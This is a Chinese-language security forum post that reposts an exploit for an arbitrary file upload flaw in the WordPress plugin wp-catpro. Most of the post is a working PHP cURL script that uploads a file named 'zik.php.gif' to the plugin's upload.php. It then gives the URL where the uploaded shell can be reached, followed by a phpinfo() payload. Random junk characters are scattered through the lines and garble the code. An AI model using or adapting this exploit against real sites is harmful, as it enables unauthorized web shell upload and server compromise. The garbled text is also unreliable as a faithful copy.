找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2512|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability0 U7 \" J7 N$ [3 R+ K% \3 y
#-----------------------------------------------------------------------, j5 {( r) _) W* i
) B* X; j( F- P" r* n3 E9 a3 i
作者  => Zikou-16
# Q4 O; r7 y' b. |! D# n4 }邮箱 => zikou16x@gmail.com6 d4 x4 }1 W, B3 v. M' j6 n+ Z" _' _
测试系统 : Windows 7 , Backtrack 5r3( C9 n, y* ^0 c% X  m5 P
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip5 C8 i0 Z' u- f! m4 f. m/ n* \
####
2 y2 i  y- p; y! R* Y( F4 g : C* t" O- l  G
#=> Exploit 信息:1 Z  c" x$ f2 a
------------------
. u; W8 M9 j% y! }7 w# 攻击者可以上传 file/shell.php.gif
( _8 r4 R, L; R1 B# ("jpg", "gif", "png")  // Allowed file extensions
$ V, Q7 I" k$ C) k# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)/ g$ o. z% ]2 `" Q; {) w
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)& J2 F' _# _- y( K* f6 j( y' w$ o
------------------
- j% f9 a, p; M; z2 @( e$ K/ e1 B
3 B* e* `, J7 s% v" |#=> Exploit
& B1 I( L; x: d3 |8 T" b) s-----------
4 ~( m" x# K5 H9 O, l/ b<?php7 ^6 v* l8 }$ G; d/ I  }; C; T
# D/ v" y; E/ z0 X! w
$uploadfile="zik.php.gif";4 m  c$ T( \# S: m
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
! O% f. Y1 P8 S' {! Zcurl_setopt($ch, CURLOPT_POST, true);
' I; J9 g0 @/ V. k. U) b2 pcurl_setopt($ch, CURLOPT_POSTFIELDS,/ }$ l: [5 T; Q/ R. G9 `( S
array('Filedata'=>"@$uploadfile",
. ^/ V, q2 g0 E4 N+ I'folder'=>'/wp-content/uploads/catpro/'));3 N/ {2 g) D0 \0 Z
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);8 z& ?/ M4 j) q* h+ e. F: I
$postResult = curl_exec($ch);
) X1 ]7 T7 I$ Mcurl_close($ch);
" s6 c; S, w7 I) N- r- w% l9 F ! H% _0 e( c# N  y2 G/ b. Q6 @
print "$postResult";3 g$ N3 h* u6 _  I) ^8 c
0 l& a8 r/ Y3 G: G1 Y. c  S; v
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif, ~" N" T% J( j
  ?>
  l+ P( G" z5 N<?php0 b  a  Z  R7 z1 q6 n
phpinfo();
& |  z4 T' j, b?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表